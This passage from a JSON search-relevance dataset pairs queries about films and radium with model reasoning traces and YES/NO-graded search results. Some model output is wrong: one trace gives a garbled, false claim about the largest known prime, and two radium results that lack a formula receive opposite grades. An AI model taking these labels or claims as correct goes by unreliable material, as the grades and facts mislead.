                "text": "From Wikipedia, the free encyclopedia\n\nUp and Away Danish Hodja fra Pjort Directed by Karsten Kiilerich Produced by Kim MagnussonTivi MagnussonAnders Mastrup [1] Edited by Hans Perk Music by Halfdan E Sebastian [2] Productioncompany A. Film Production Distributed by M&M Productions Release date \n 8 February 2018 \n Running time 81 minutes [3] Country Denmark Language Danish Budget $1,230,407 [4] \n Up and Away (Danish: Hodja fra Pjort, lit. 'Hodja from Pjort') [1] is a 2018 Danish animated fantasy adventure film [5] written and directed by Karsten Kiilerich, based on the children's book of the same name by Danish writer Ole Lund Kirkegaard. [1] [6] [7]\n\nPremise[edit]\nYoung boy Hodja lives in the small town of Pjort, but dreams of traveling the world. So \u2013 against his father's wishes \u2013 Hodja makes a deal with his neighbour that lets him borrow his flying carpet on the condition that Hodja will try to find the man's granddaughter, Diamond. [8]\n\nCast[edit]\n Thure Lindhardt as Hodja\n\u00d6zlem Saglanmak as Smaragd\nPeter Zhelder as Rotten\nKurt Ravn as El Faza\n Peter Fr\u00f6din as Sultan\nRaaberg as Mor Birgitte\n Lars Ranthe as Far\nRebecca R\u00f8nde Kiilerich as Perlesten\nJens Jacob Tychsen as Grumme\nTroells Toya as Salep\nErik Holmey and Michael Zuckow Mardorf as Vagt\nVibeke Duehol as the Sultan's favourite wife [6] \nRelease[edit]\nThe film was released in Denmark on 2 February 2018, where it received 164,273 admissions in Danish cinemas. [9] It grossed $1,230,407 worldwide. [4]\n\nReferences[edit]\n\n^ a b c Up and Away (Hodja fra Pjort) at Cineuropa \u2013 the best of European cinema. Retrieved 19 August 2021.\n\n^ Up and Away at Soundtrack.net. Retrieved 19 August 2021.\n\n^ Hodja fra Pjort at Medier\u00e5det for b\u00f8rn og unge (Media Council for Children and Young People) \u2013 Medieraadet.dk. (in Danish). Retrieved 19 August 2021.\n\n^ a b Up and Away at Box Office Mojo, an IMDb company. Retrieved 19 August 2021.\n\n^ Up and Away at Common Sense Media. (Reviewed by Cassidy, Tom). Retrieved 20 August 2021.\n\n^ a b Up and Away at the Danish Film Institute. Retr",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document describes \"Up and Away,\" which is an animated film -> ([1], SATISFIED)\n2. {magical creature}: The document mentions a flying carpet, which can be considered a magical object, but does not explicitly mention a magical creature -> ([2], UNSURE)\n3. {helps a young person}: The premise describes a young boy, Hodja, who borrows a flying carpet to go on a journey -> ([2], SATISFIED)\n4. {go on a journey}: The document clearly states that Hodja goes on a journey to find his neighbor's granddaughter -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents except for the explicit mention of a magical creature. However, the flying carpet can be interpreted as fulfilling the role of a magical entity aiding the journey. YES."
            },
            {
                "grade": "YES",
                "title": "Onward (2020) - IMDb",
                "url": "https://www.imdb.com/title/tt7146812/?ref_=fn_al_tt_1",
                "published_date": "2020-03-06",
                "text": "Videos45 More like this Review Good fun with chance of misty eyes I didn't like the look of this, the animation, the content or the story.\nI am glad I decided to watch it. The film is set in a world where magic is replaced by technology because it is easier.\nTwo young men get the opportunity to use magic to spend a single day with their deceased father.\nIt doesn't go according to plan so they go on an adventure. The story is simple but lean, the jokes are obvious but funny, the characters are stock but fleshed out. This movie is really enjoyable and tugs at the heart strings. There is nothing ground-breaking about this movie but it has a very big heart and is very well executed. thekarmicnomad Mar 22, 2021 Contribute to this page Suggest an edit or add missing content More to explore",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document is about an animated movie -> ([1], SATISFIED)\n2. {magical creature}: The document mentions magic but does not specify a magical creature -> ([2], UNSURE)\n3. {helps a young person go on a journey}: The document mentions two young men going on an adventure using magic, which can be inferred to involve magical assistance -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {animated movie} and {helps a young person go on a journey}, both of which are satisfied. The document is likely helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "Reviews: The Magic Voyage - IMDb",
                "url": "https://www.imdb.com/title/tt0103609/reviews",
                "published_date": null,
                "text": "2 /10\n            \n    \n  Hysterically bad!\n \n            \n                 Ahhh, bad animated films. We love these kinds of flicks don't we? We love moaning about the annoying characters that we want to bash their brains out, we laugh at the rushed and cheap animation and we cringe at the crappy songs that won't make any of the Disney songwriters cry in their sleep. Now with this little beauty here called The Magic Voyage, you have to take it with a magic pinch of salt. You can either call it a horrible horrible film that has no redeeming qualities and is just annoying to watch, or you can go the extra mile and call it a bad film but still unbelievably funny to watch. Guess which path I'm taking Sherlocks? Yep, that's right, the second path because I found the Magic Voyage to be a hysterical piece of animated trash from our good ol friends in Germany. Now I can sort of see what they were going for here, they wanted to give Disney a good run for their money and try to make an animated film. They tried but they more or less failed on all accounts. The animation here is unbelievably bad, like Paddy The Pelican levels of awfulness. This kind of thing would feel more right at home on 70's Saturday Morning TV with some other \"classics\" like all those toons focusing on those popular stars. Oh yes you're also in for a treat, because like it's little brother Felix The Cat, half of the dialogue doesn't even match with the lips. Great fun for all, you could take a shot each time they make this error. Voice acting is pretty bad, not like Felix though but still bad nonetheless. Look Mr DeLuise, I love you man but you just wasn't right for the role of Christopher Columbus and the less said about that wood character thingy the better. Are you a person who loves history? Too bad, better look elsewhere because this is also packed with tons of historical accuracy, it goes completely off the walls and makes even Pocahontas look even more accurate by comparison. Oh yes and this film doesn't know when to take a quick breathe just li",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document is about an animated movie called \"The Magic Voyage\" -> ([1], SATISFIED)\n2. {magical creature}: The document does not clearly state if there is a magical creature in \"The Magic Voyage\" -> ([0], UNSURE)\n3. {helps a young person go on a journey}: The document does not provide information about the plot involving a young person going on a journey with the help of a magical creature -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to being an animated movie, but it does not provide enough information to determine if it involves a magical creature helping a young person go on a journey. Since the key subcomponents that can be evaluated are not fully satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "ABOMINABLE | Official Trailer - YouTube",
                "url": "https://www.youtube.com/watch?v=Ap0NRJD-2ts",
                "published_date": null,
                "text": "DreamWorks Animation and Pearl Studio\u2019s co-production Abominable takes audiences on an epic 2,000-mile adventure from the streets of Shanghai to the breathtaking Himalayan snowscapes. \nWhen teenage Yi (Chloe Bennet, Marvel\u2019s Agents of S.H.I.E.L.D.) encounters a young Yeti on the roof of her apartment building in Shanghai, she and her mischievous friends, Jin (Tenzing Norgay Trainor) and Peng (Albert Tsai), name him \u201cEverest\u201d and embark on an epic quest to reunite the magical creature with his family at the highest point on Earth. \nBut the trio of friends will have to stay one-step ahead of Burnish (Eddie Izzard), a wealthy man intent on capturing a Yeti, and zoologist Dr. Zara (Sarah Paulson) to help Everest get home.\nAbominable is written and directed by Jill Culton (Open Season, Monsters, Inc., Toy Story 2) and is produced by Suzanne Buirgy (Kung Fu Panda 2, Home). Peilin Chou of Pearl Studio also produces. The film is executive produced by Tim Johnson (Over the Hedge, Home, ANTZ) and is co-directed by Todd Wilderman (Trolls, The Croods).\nAbominable will be released by Universal Pictures worldwide beginning September 27, 2019.  In China, the film will be distributed by Pearl.\nSong featured: \u201cGo Your Own Way\u201d by Fleetwood Mac.  Listen to the full song here: https://Rhino.lnk.to/FMEssentialsYT\nSocial Handles\nFacebook - http://www.facebook.com/AbominableTheMovie\nTwitter - @DreamWorks\nInstagram - @abominablemovie\nURL \u2013 https://www.dreamworks.com/movies/abominable\n| view_count: 17,728,604 views | short_view_count: 17M views | num_likes: 30K | num_subscribers: 9.59",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document is about an animated movie called \"Abominable\" -> ([1], SATISFIED)\n2. {magical creature}: The document mentions a young Yeti, which can be considered a magical creature -> ([1], SATISFIED)\n3. {helps a young person go on a journey}: The document describes how the young Yeti helps teenage Yi and her friends embark on a quest to reunite the Yeti with his family -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "Abominable (2019 film) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Abominable_(2019_film)",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t \n   Abominable      Theatrical release poster    Directed by  Jill Culton    Written by Jill Culton [1]     Produced by Suzanne BuirgyPeilin Chou   Starring  \n  Chloe Bennet \n Albert Tsai \nTenzing Norgay Trainor\n Eddie Izzard \n Sarah Paulson \n Tsai Chin  \n    Edited by Pamela Ziegenhagen-Shefland   Music by  Rupert Gregson-Williams     Productioncompanies   \n  DreamWorks Animation  [2]  \n Pearl Studio  [3]  \nZhong Ming You Ying Film \n    Distributed by  \n  Universal Pictures (Worldwide) [3]  \nPearl Studio (China) [4]   [5]   \n     Release dates   \n September\u00a07,\u00a02019 (TIFF) [6]  \nSeptember\u00a027,\u00a02019 (United States) \n     Running time  97 minutes [7]     Countries  \n United States\nChina \n    Language English   Budget $75 million [7]     Box office $188.7 million [7]   [8]     \n  Abominable  is a 2019 computer-animated adventure film produced by DreamWorks Animation and Pearl Studio, written and directed by Jill Culton and co-directed by Todd Wilderman, and stars the voices of Chloe Bennet, Albert Tsai, Tenzing Norgay Trainor, Eddie Izzard, Sarah Paulson, Tsai Chin, and Michelle Wong. The film follows a teenage girl named Yi, who encounters a young Yeti on the roof of her apartment building in Shanghai, names him Everest and embarks on an epic quest to reunite the magical creature with his family at the highest point on Earth along with her mischievous friends Jin and Peng, but the trio of friends will have to stay one-step ahead of Burnish, a wealthy man intent on capturing a Yeti, and zoologist Dr. Zara to help Everest get home.\n The film premiered at the Toronto International Film Festival on September 7, 2019, and was released by Universal Pictures in the United States on September 27 [9]   [10]   [11]  while Pearl Studio distributed the film in China. [5]  The film received generally positive reviews from critics and has grossed over $188 million worldwide. In Southeast Asia, Abominable has garnered controversy for a scene involving a map of the region with the Nine-dash l",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document is about \"Abominable,\" which is a computer-animated film -> ([1], SATISFIED)\n2. {magical creature}: The document mentions a young Yeti, which can be considered a magical creature -> ([1], SATISFIED)\n3. {helps a young person go on a journey}: The document states that the teenage girl Yi embarks on an epic quest to reunite the Yeti with his family, which involves a journey -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            }
        ]
    },
    {
        "query": "action movie about a retired spy who gets pulled back into the game",
        "grid_pos": [
            0,
            7
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. Best horror movie with a twist ending: The answer could be \"The Sixth Sense\" - a supernatural horror film about a child psychologist who discovers one of his young patients can see and communicate with the dead, culminating in a famous twist ending.\n\n2. Funniest comedy movie where the main character can't stop talking: The answer could be \"Monty Python and the Holy Grail\" - a classic British comedy where the main characters, a group of knights on a quest, frequently engage in absurdist and fast-paced dialogue.\n\n3. Sci-fi movie about a guy who gets stuck in a time loop: The answer could be \"Edge of Tomorrow\" - a sci-fi action film where a soldier in a future war gets stuck repeating the same day over and over again.\n\n4. Animated movie with a magical creature that helps a young person go on a journey: The answer could be \"Spirited Away\" - a Japanese animated fantasy film where a young girl enters a supernatural world and is aided by a dragon-like creature on her journey of self-discovery.\n\n5. Action movie about a retired spy who gets pulled back into the game: The answer could be \"Taken\" - a thriller about a retired CIA operative who must use his particular set of skills to rescue his daughter from human traffickers."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "My Spy (2020) - IMDb",
                "url": "https://www.imdb.com/title/tt8242084/",
                "published_date": "2020-06-26",
                "text": "Videos17 More like this Review My Spy is an entertaining yet well-known espionage family comedy. My Spy is a new family action comedy directed by Peter Segal, the director of Get Smart and Tommy Boy. The film is about the ex-military JJ (Dave Bautista), who after his time in the army now tries to work as a CIA agent. During his missions he still works too much as a soldier. The CIA does not get the necessary information and decides to use JJ for undercover operation. JJ now has to spy on mother Kate (Parise Fitz-Henley) and her young daughter Sophie (Chloe Coleman) in the hope that her arms trade partner contacts his family. JJ is soon discovered by the clever nine-year-old Sophie, who promises to share nothing about his secret mission with the rest of the world. In return, JJ has to train her on how to become a spy herself. This movie has his amusing moments about how a young girl can outsmart a novice CIA agent. This aspect has come up before in other films such as the Arnold Schwarzenegger film Kindergarden Cop. For people familiar with such films, this film can quickly become predictable. The script clearly shows the bond between JJ and young Sophie, but the film concentrates a bit too much on this band at a time. For example, the aspect of the secret arms trade is somewhat canceled. The scenes that pass here seem a bit like separate scenes from a completely different film. These different aspects only come together at the end of the film, but otherwise seem to have little in common. The comedy moments are also somewhat predictable if you are familiar with these kinds of comedy movies. Dave Bautista comes across as a budding CIA agent who doesn't yet know how to best handle his job. While it seems a bit unbelievable that the CIA is discovered by a nine-year-old girl and she manages to outsmart them, these moments make for the best comedy in the movie. For a novice young actress, Chloe Coleman does good and appropriate acting in this film. The better known comedy actors such as Kristen Schaal and Ken Jeong sti",
                "model_trace": "Query Decomposition:\n1. [action movie]: The document describes \"My Spy\" as an action comedy, so this subcomponent is likely met -> ([1], SATISFIED)\n2. [about a retired spy]: The main character, JJ, is described as ex-military and a novice CIA agent, not a retired spy -> ([1], UNSATISFIED)\n3. [who gets pulled back into the game]: Since JJ is not a retired spy, this subcomponent is not applicable -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {action movie} and {about a retired spy}. Since the document does not satisfy the {about a retired spy} subcomponent, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Spy (2015) - IMDb",
                "url": "https://www.imdb.com/title/tt3079380/",
                "published_date": "2015-06-05",
                "text": "Cast & crew User reviews Trivia 20152015 RR 2h A desk-bound CIA analyst volunteers to go undercover to infiltrate the world of a deadly arms dealer, and prevent diabolical global disaster.A desk-bound CIA analyst volunteers to go undercover to infiltrate the world of a deadly arms dealer, and prevent diabolical global disaster.A desk-bound CIA analyst volunteers to go undercover to infiltrate the world of a deadly arms dealer, and prevent diabolical global disaster. See production, box office & company info 568User reviews 268Critic reviews 75Metascore See more at IMDbPro Videos32 More like this Review James Bond, Jane Bond, and Jason Statham - a lethal combo for laughter Kingsman: The Secret Service started a beautiful new wave of James Bond satire films. It's been done before but never quite as meta as it was in Kingsman, actively referencing how similar the plot and archetypes are to James Bond while still having a refreshing novelty factor and interesting characters of its own - creating this whole new world for the over-the-top James Bond-esque adventures to take place while the real James Bond canon continues its serious, grounded story arc. While Kingsman was about setting up this elite organization and showing off their penchant for ridiculously elaborate action sequences, Spy has little exposition and throws you right into this hysterical world where Jude Law is the super suave secret agent and Melissa McCarthy acts as his eyes and ears back at headquarters. Jason Statham comes in later as a rogue agent who is as arrogant as he is oblivious. The movie doesn't itself seriously but it never goes into parody territory. These characters, as overblown and ridiculous as they are, still have relatable personalities, and you're willing to go on this crazy adventure with them right from the start. Spy is very much an action comedy - whether you view it more as an action movie or as a comedy is completely up to you. I found it hilarious within the first minute and was laughing heartily throughout the entire movie,",
                "model_trace": "Query Decomposition:\n1. {action movie}: The document describes an action comedy movie, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {about a retired spy}: The document does not mention a retired spy, but instead describes a desk-bound CIA analyst who volunteers to go undercover -> ([1], UNSATISFIED)\n3. {who gets pulled back into the game}: The document does not indicate that the main character is being pulled back into the game, but rather that they volunteer to go undercover -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {action movie}, {about a retired spy}, and {who gets pulled back into the game}. Since the latter two subcomponents are not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "The November Man - Official Trailer",
                "url": "https://www.youtube.com/watch?v=F1YoByDi_Cg",
                "published_date": "2014-07-24",
                "text": "NOW PLAYING! Get tickets: http://bit.ly/1o9svDV\n\nCode named \u2018The November Man\u2019; Peter Devereaux (Pierce Brosnan) is an extremely dangerous and highly trained ex-CIA agent, who is lured out of quiet retirement on a very personal mission. He must protect valuable witness, Alice Fournier, (Olga Kurylenko) who could expose the truth behind a decades old conspiracy. He soon discovers this assignment makes him a target of his former friend and CIA prot\u00e9g\u00e9 David Mason (Luke Bracey). With growing suspicions of a mole in the agency, there is no one Devereaux can trust, no rules and no holds barred.\n\nWith a screenplay by Michael Finch \\u0026 Karl Gajdusek based on Bill Granger\u2019s novel \u201cThere are No Spies\u201d from the bestselling November Man book series, THE NOVEMBER MAN is the ultimate cat and mouse game set in the world of international espionage. Directed by Roger Donaldson (The Bank Job, No Way Out, Thirteen Days), the film is produced by Beau St. Clair of Irish DreamTime and Sriram Das of Das Films.\n\nWith a screenplay by Michael Finch \\u0026 Karl Gajdusek based on Bill Granger\u2019s novel \u201cThere are No Spies\u201d from the bestselling November Man book series, THE NOVEMBER MAN is the ultimate cat and mouse game set in the world of international espionage. Directed by Roger Donaldson (The Bank Job, No Way Out, Thirteen Days), the film is produced by Beau St. Clair of Irish DreamTime and Sriram Das of Das Films.\n| view_count: 2,641,705 views | short_view_count: 2.6M views | num_likes: 1K | num_subscribers: 1.76K",
                "model_trace": "Query Decomposition:\n1. {action movie}: The document is about \"The November Man,\" which is an action movie -> ([1], SATISFIED)\n2. {retired spy}: The main character, Peter Devereaux, is described as an ex-CIA agent who is lured out of retirement -> ([1], SATISFIED)\n3. {gets pulled back into the game}: The plot involves the retired spy being lured out of retirement for a mission -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "Reviews: Bad Company",
                "url": "https://www.imdb.com/title/tt0280486/reviews",
                "published_date": null,
                "text": "7 /10\n            \n    \n  Not what I expected\n \n            \n                 I don't really know what I expected from this film, but I certainly found much more than I had been looking for. Given that it stars Chris Rock, I did expect a great deal of irreverent, silly comedy. What I found, instead, was an interesting spy film and a very, very odd buddy picture. \nThe acting from both Rock and Hopkins is exceptional. The plot, while a bit thin, is interesting. The film pulled me in and held me from beginning to end. \n                \n                    15 out of 17 found this helpful.\n                        \n                            Was this review helpful?  Sign in to vote.\n                        \n                        \n                    Permalink\n                \n            \n        \n     \n            \n                7 /10\n            \n    \n  Although Predictable and Full of Cliches, This Funny Action Movie Entertains\n \n            \n                In Prague, the CIA secret agent Kevin Pope (Chris Rock) is killed in a mission with Oakes (Anthony Hopkins). They were trying to recover a nuclear bomb from the hands of some mercenaries. In order to proceed with the operation, Jake Hayes (Chris Rock), twin of Kevin, is recruited by CIA to act as if he were his brother. Jake is a rascal ticker scalper and his dead brother was an exquisite man. The CIA agents have nine day to make Jake as refined as he brother was. Although having a plot very predictable and full of cliches, this movie is a funny action movie, almost a comedy. Therefore, it objective of entertainment is accomplished. My vote is seven.\n                \n                    30 out of 41 found this helpful.\n                        \n                            Was this review helpful?  Sign in to vote.\n                        \n                        \n                    Permalink\n                \n            \n        \n     \n            \n                5 /10\n            \n    \n  The latest Chris Rock action comedy that apparently doesn't realize",
                "model_trace": "Query Decomposition:\n1. {action movie}: The document reviews an action movie, so this subcomponent is met -> ([1], SATISFIED)\n2. {about a retired spy}: The document does not indicate that the movie is about a retired spy; it mentions a CIA secret agent and his twin brother, but not a retired spy -> ([1], UNSATISFIED)\n3. {who gets pulled back into the game}: The document does not mention a retired spy being pulled back into the game -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {action movie}, {about a retired spy}, and {who gets pulled back into the game}. Since the document does not satisfy the latter two subcomponents, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Reviews: Deadly Prey",
                "url": "https://www.imdb.com/title/tt0092848/reviews",
                "published_date": null,
                "text": "6 /10\n            \n    \n  Utterly fantastic\n \n             Although the plot of kidnapping humans for target practice has been done a million times before (and still is), no movie comes as close to the entertainment value of this. Here, bad army guys inadvertently kidnap Mike (unofficial middle name : Dramatic Casio Chord) Danton, a Vietnam vet played by male model Ted Prior. And after letting him loose in the forest armed with only a sawn-off pair of levi's and a particularly offensive mullet, Mike turns the tables on the most inept bunch of soldiers. You will laugh! You will laugh again! You can feel the tension gripping you to the couch as the next bad guy positions himself into an easily ambush-able place. You will see Cameron Mitchell deliver his best speech ever. You will see tiny grenade explosions hurl people several feet through the air. You will never see a more lethal twig in your entire life or more effective camouflage from a handful of leaves. The one-man army action movies from the 80's (think along the lines of Commando/Rambo) may have been awesome at the time and despite aging, entertain today in the same way a piece of well-matured piece of cheese tastes more delectable than something eaten fresh from the dairy. Deadly Prey is no exception, the only difference being budget. And acting. And direction. But it's still something to relish. Most films like this are best enjoyed over a few beers. Here I would recommend a few crackers and a nice bottle of chardonnay to truly honour this cheesy experience. Cheers! \n        \n     \n            \n                5 /10\n            \n    \n  A Great Sunday Morning's Entertainment!!\n \n             Wow, this an oddity, make no mistake about it. It's typical: One minute you're at your house with your lovely lady wife taking the trash outside, next you're knocked senseless by a pipe to the back of your skull. Before you know it, you're being forced to run topless and shoeless through a forest pursued by a bunch of mercenaries in a private army who are using you as ",
                "model_trace": "Query Decomposition:\n1. {action movie}: The document is a review of an action movie -> ([1], SATISFIED)\n2. {about a retired spy}: The document does not mention the protagonist being a retired spy -> ([1], UNSATISFIED)\n3. {gets pulled back into the game}: The document mentions a Vietnam vet being kidnapped and forced to fight, but does not specify if he is being \"pulled back into the game\" in the sense of returning to a previous profession or mission -> ([2], UNSURE)\n\nAssessment: The key subcomponents are {action movie} and {about a retired spy}. Since the document does not satisfy the subcomponent {about a retired spy}, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Retired spy, looking for some movies to watch",
                "url": "https://ask.metafilter.com/183893/Retired-spy-looking-for-some-movies-to-watch",
                "published_date": null,
                "text": "Retired spy, looking for some movies to watch\nApril 20, 2011 10:55 AM \u00a0     Subscribe  \n I really like spy movies where the main character is trying to retire/extricate themselves from The Company. I've seen a bunch from the library, but which ones have I missed?    \n All-time favorites: \n\u2192 Hopscotch\n\u2192 Spy Game\n\u2192 Bourne Identity/Supremacy/Ultimatum \nJust-watched and enjoyed: \n\u2192 RED \nNot a lot of parameters here, just looking for spies who don't want to play the game anymore, but must one last time. Oh, ok, it doesn't have to be a spy, and other agencies (MI6, KGB, etc.) are welcome as well\u2014any other professionals who have similar trouble would work just fine. Thank you for your suggestions! \nBook suggestions welcome also.  \n\t\n\t\n\t\n\t\n \n\t ||||I||||  We are rebuilding the site. || Trans & Nonbinary Members Survey || MeFi mod travelingthyme needs help\n      Ask MetaFilter\n      querying the hive mind\n      * Log In\n      * Sign Up\n      * MetaFilter\n      * AskMeFi\n      * FanFare\n      * Projects\n      * Music\n      * Jobs\n      * IRL\n      * MetaTalk\n      * More\n          + Best Of\n          + Podcast\n          + Chat\n          + Labs\n          + Mall\n      Search MetaFilter\u2026\n    Menu\n    * Home\n    * FAQ\n    * About\n    * Archives\n    * Tags\n    * Popular\n    * Random\n        Retired spy, looking for some movies to watch\n        April 20, 2011 10:55 AM Subscribe\n          I really like spy movies where the main character is trying to retire/extricate themselves from The Company. I've seen a bunch from the library, but which ones have I missed?\n            All-time favorites:\n            \u2192 Hopscotch\n            \u2192 Spy Game\n            \u2192 Bourne Identity/Supremacy/Ultimatum\n            Just-watched and enjoyed:\n            \u2192 RED\n            Not a lot of parameters here, just looking for spies who don't want to play the game anymore, but must one last time. Oh, ok, it doesn't have to be a spy, and other agencies (MI6, KGB, etc.) are welcome as well\u2014any other professionals who have similar trouble would work just fine. ",
                "model_trace": "Query Decomposition:\n1. {action movie}: The document lists several action movies -> ([1], SATISFIED)\n2. {about a retired spy}: The document specifically mentions movies about spies trying to retire or getting pulled back into the game -> ([1], SATISFIED)\n3. {who gets pulled back into the game}: The document includes movies where spies must return to action -> ([1], SATISFIED)\n\nAssessment: The document lists several movies that fit the user's query about a retired spy who gets pulled back into the game. It provides multiple examples and even allows for some flexibility in the type of professional being discussed. YES"
            }
        ]
    },
    {
        "query": "What is the chemical formula for the naturally occurring isotope of radium with the longest half-life?",
        "grid_pos": [
            0,
            9
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The naturally occurring isotope of radium with the longest half-life is Ra-226, with a half-life of 1,600 years. The chemical formula for radium is Ra.\n\n2. The largest known prime number discovered as of 2023 is 274,207,281-1, also known as the 50th Mersenne prime.\n\n3. The first book in the Dune series written by Frank Herbert is titled \"Dune\".\n\n4. The planet in our solar system with the highest average wind speeds is Neptune, with wind speeds reaching up to 2,100 km/h.\n\n5. The common name for the chemical element with atomic number 79 is gold."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Radium-226 | chemical isotope",
                "url": "https://www.britannica.com/science/radium-226",
                "published_date": "2022-11-01",
                "text": "Learn about this topic in these articles: half-life In radium: Occurrence, properties, and uses \u2026known; their half-lives, except for radium-226 (1,600 years) and radium-228 (5.75 years), are less than a few weeks. The long-lived radium-226 is found in nature as a result of its continuous formation from uranium-238 decay. Radium thus occurs in all uranium ores, but it is more widely distributed because it\u2026 Read More toxicology and radiation In poison: Local toxicities of common alpha-particle emitters \u2026of its similarity to calcium, radium-226 is stored mainly in the bone, and it produces abnormal changes in the bone marrow, including anemia and leukemia, cancers of the bone, and paranasal sinuses. The next radioisotope in the uranium series is radon, radon-222. Although radon is radioactive, its toxicity is not\u2026 Read More",
                "model_trace": "Query Decomposition:\n1. {chemical formula for the naturally occurring isotope of radium with the longest half-life}: The document provides information about radium-226, which is the naturally occurring isotope of radium with the longest half-life -> ([1], SATISFIED)\n2. {longest half-life}: The document states that radium-226 has a half-life of 1,600 years, which is the longest among naturally occurring radium isotopes -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing the chemical formula for radium-226 and confirming it has the longest half-life among naturally occurring radium isotopes. YES."
            },
            {
                "grade": "NO",
                "title": "Radium-228 | chemical isotope",
                "url": "https://www.britannica.com/science/radium-228",
                "published_date": "2022-11-01",
                "text": "Learn about this topic in these articles: half-life In radium: Occurrence, properties, and uses \u2026for radium-226 (1,600 years) and radium-228 (5.75 years), are less than a few weeks. The long-lived radium-226 is found in nature as a result of its continuous formation from uranium-238 decay. Radium thus occurs in all uranium ores, but it is more widely distributed because it forms water-soluble compounds; Earth\u2019s\u2026 Read More",
                "model_trace": "Query Decomposition:\n1. {chemical formula for radium isotope}: The document does not provide the chemical formula for radium isotopes -> ([0], UNSATISFIED)\n2. {naturally occurring isotope of radium with the longest half-life}: The document mentions radium-226 as the long-lived isotope with a half-life of 1,600 years, indicating it is the naturally occurring isotope with the longest half-life -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponent is {naturally occurring isotope of radium with the longest half-life}, which is satisfied. However, the document does not provide the chemical formula for radium isotopes, which is crucial information for the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Radium Facts, Symbol, Discovery, Properties, Uses",
                "url": "https://www.chemistrylearner.com/radium.html",
                "published_date": "2018-07-01",
                "text": "What is Radium Where is the Element Found History Identification Classification, Properties and Characteristics of Radium Atomic Data of Radium (Element 88) What is Radium Commonly Used for Does the Element Have Any Dangerous Effects Interesting Facts Radium Cost What is Radium\nA highly radioactive and naturally-occurring metal, radium (pronounced as RAY-dee-em) is formed when uranium and thorium undergo disintegration in the environment. Represented by the chemical symbol Ra, it is classified in the family of alkaline earth metals [1]. It has 33 isotopes of which Ra-226 and Ra-228 have a half-life of 1600 years and 5.75 years, respectively [11].\n Radium Symbol \nWhere is the Element Found\nSince the element is found in most uranium ores, especially in Canada and Democratic Republic of Congo, it can be obtained as a byproduct of uranium refining. Another source of radium is the spent fuel rods of nuclear reactors [1].\nHistory\n Origin of its Name: It is derived from the Latin word \u2018radius\u2019 that means ray [1].\n Who Discovered Radium: Renowned scientists Marie Curie and Pierre Curie were the discoverers [1] \n When, Where, and How was it Discovered \nMarie Curie had observed that pitchblende (uranium oxide) was more radioactive even after extracting uranium from it. In 1898, the Curie couple used some chemical separation techniques to isolate radium from ten tons of the pitchblende that displayed new lines in its atomic spectrum. They were fascinated to find it glow with a faint blue light in the dark due to its high radioactivity [1].\nIn 1911, Marie Curie and Andre Debierne carried out electrolysis of radium chloride where a mercury cathode was used to isolate the metal [1].\n Radium\n\nIdentification\n\nAtomic number \n88 [1]\n\nCAS number \n7440-14-4 [1]\n\nPosition in the periodic table [1] \n Group \n Period \n Block\n\n2\n7\ns\n\nLocation of Radium in the Periodic Table \nClassification, Properties and Characteristics of Radium\n\nGeneral Properties\n\nRelative atomic mass \n[226] [1]\n\nAtomic mass/weight \n226 atomic mass units [4]\n\nMolar m",
                "model_trace": "Query Decomposition:\n1. {chemical formula for radium}: The document mentions the chemical symbol for radium (Ra) -> ([1], SATISFIED)\n2. {naturally occurring isotope of radium with the longest half-life}: The document mentions that Ra-226 has a half-life of 1600 years, which is the longest among the isotopes listed -> ([1], SATISFIED)\n\nAssessment: The document provides the chemical symbol for radium and identifies Ra-226 as the naturally occurring isotope with the longest half-life. Therefore, it satisfies both key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Isotopes of radium",
                "url": "https://en.wikipedia.org/wiki/Isotopes_of_radium",
                "published_date": null,
